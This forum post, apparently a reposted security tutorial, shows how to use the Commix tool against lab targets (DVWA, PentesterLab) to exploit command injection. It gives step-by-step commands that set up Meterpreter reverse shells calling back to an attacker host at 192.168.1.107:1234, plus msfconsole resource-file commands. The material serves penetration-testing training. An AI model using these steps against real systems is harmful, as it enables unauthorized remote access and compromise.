• We just launched and are currently in beta. Join us as we build and grow the community.

Command Injection to Meterpreter using Commix

landon98

Internal Linking Guru
L Rep
0
0
0
Rep
0
L Vouches
0
0
0
Vouches
0
Posts
152
Likes
56
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Commix is an automated command injection tool. It lets you have a meterpreter session via command injection if the web application is vulnerable to it. It’s pretty efficient and reliable. Commix is widely used by security experts, penetration testers and also web developers inorderto find vulnerabilities. In thisarticle, we will learn how to get a meterpreter session using commix. For the detailed guide on commix click here.

Requirements :
  • DVWA (for Windows 10)
  • PentesterLab (for Linux testing)
  • Kali Linux
  • Commix

As you can see in the image below the environment of DVWA is vulnerable to command injection. Submit the local host request from DVWA.

1.png


Capture the previously submitted request through BurpSuite by simultaneously turning on the intercept as shown in the image below :

2.png


Once the cookies are capture, copy the whole cookie and paste it in a TXT file. Now, use the following command in order to exploit the vulnerability of Command injection in the DVWA environment :

Code:
commix -r /root/Desktop/req.txt

here,

–r:refers to the path of request file which will load HTTP.

As the exploitation is successful, it will ask you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo terminal and it will be loaded. Use the command ‘whoami’ to check the user as shown in the image :

3.png


Now thatyouare in the pseudo terminal, type the following set of command in order to generate reverse shell :

Code:
reverse_tcp
set lhost 192.168.1.107
set lport 1234

After executingthe abovecommands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. So, press 2 for the meterpreter one. Then it will ask you which meterpreter session you want as in whether you want it to be PHP, Windows, etc. As our DWVA is setup on windows, we will select option 10. Then it will further ask you to choose a particular power shell injection. Choose 1 as of now as we will try other options too.

4.png


When everything is done, it will give a resource file with the execution command. Open a new terminal window and type the command there, as in our case it generated the following command :

Code:
msfconsole -r /usr/share/commix/powershell_attack.rc

5.png


As the above command is executed, you will directly have your meterpreter session as shown in the image above.

Now, repeat the above steps as they are but instead of choosing 1 option of power shell injectionto choose2 this time as it will help us get meterpreter session through magic unicorn. After choosing option 2, it will again generate a resource file that is to be executed in the new terminal window. In our casethe followingcommand was generated :

Code:
msfconsole -r /usr/share/magic-unicorn/unicorn.rc

6.png


Again, when the command is executing you will have your meterpreter session as shown in the image below :

7.png


All the above meterpreter session were taken using option 10 under the category ofthe meterpreterreverse shell. But this time we will use option 11, which is web delivery, to have a meterpreter session. So, repeat the same steps as above but this time choose 11 option when asked for which meterpreter reverse shell you want.

8.png


Then once you have chosen option 11, it will ask whether you want web delivery script for PHP, Python or windows. Now, as we are attacking windows select option 3.

9.png


Once again, it will give you aresourcefile and a command that is to be run in the new terminal window. In our case,the followingcommand was generated :

Code:
msfconsole -r /usr/share/commix/web_delivery.rc

As the command is executed, you will have your meterpreter session as shown in the image below :

10.png


Until now, all the meterpreter session we took were in theWindow’senvironment. Now, will be gain meterpreter session in Linux’s environment. For this, we will use PentesterLab.

11.png


Just like we did for windows, capture the cookies ofpentesterlabinburp suiteas shown in the image below :

12.png


Copy the contents of the cookies in a TXT file and use the following command to attack :

Code:
commix -r /root/Desktop/1.txt

As the exploitation is successful, it will ask you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo terminal and it will be loaded. Use the command ‘whoami’ to check the user as shown in the image :

13.png


Now that you are in the pseudo terminal, type the following set of command in order to generate reverse shell :

Code:
reverse_tcp
set lhost 192.168.1.107
set lport 1234

After executingthe abovecommands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. So, press 2 for the meterpreter one. Then it will ask you which meterpreter session you want as in whether you want it to be PHP, Windows, etc. As we are now testing onLinux, we will select option 8 i.e. a PHP meterpreter reverse shell.

14.png


Just like before, this too will generate a resource file which you have to execute in a new terminal window. In our case, the command generated was :

Code:
msfconsole -r /usr/share/commix/php_meterpreter.rc

As the above command is executed, you will haveyoursession as shown in the image below :

15.png


The other method we will use to exploitLinuxis by using web delivery. Repeat the above steps similarly,butinstead of choosing option 8, this time choose option 11 for web delivery. And then choose option 2 for a PHP reverse shell.

16.png


Executing the above steps will create a resource file yet again. Run the command given in the new terminal window :

Code:
msfconsole -r /usr/share/commix/web_delivery.rc

17.png


Running the above command will giveyou yoursession as shown in the above image. This ishowyou can gain a meterpreter session through command injection vulnerability using commix. The session can be acquired in both Windows andLinuxplatforms.

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here
 

452,158

323,328

323,337

Top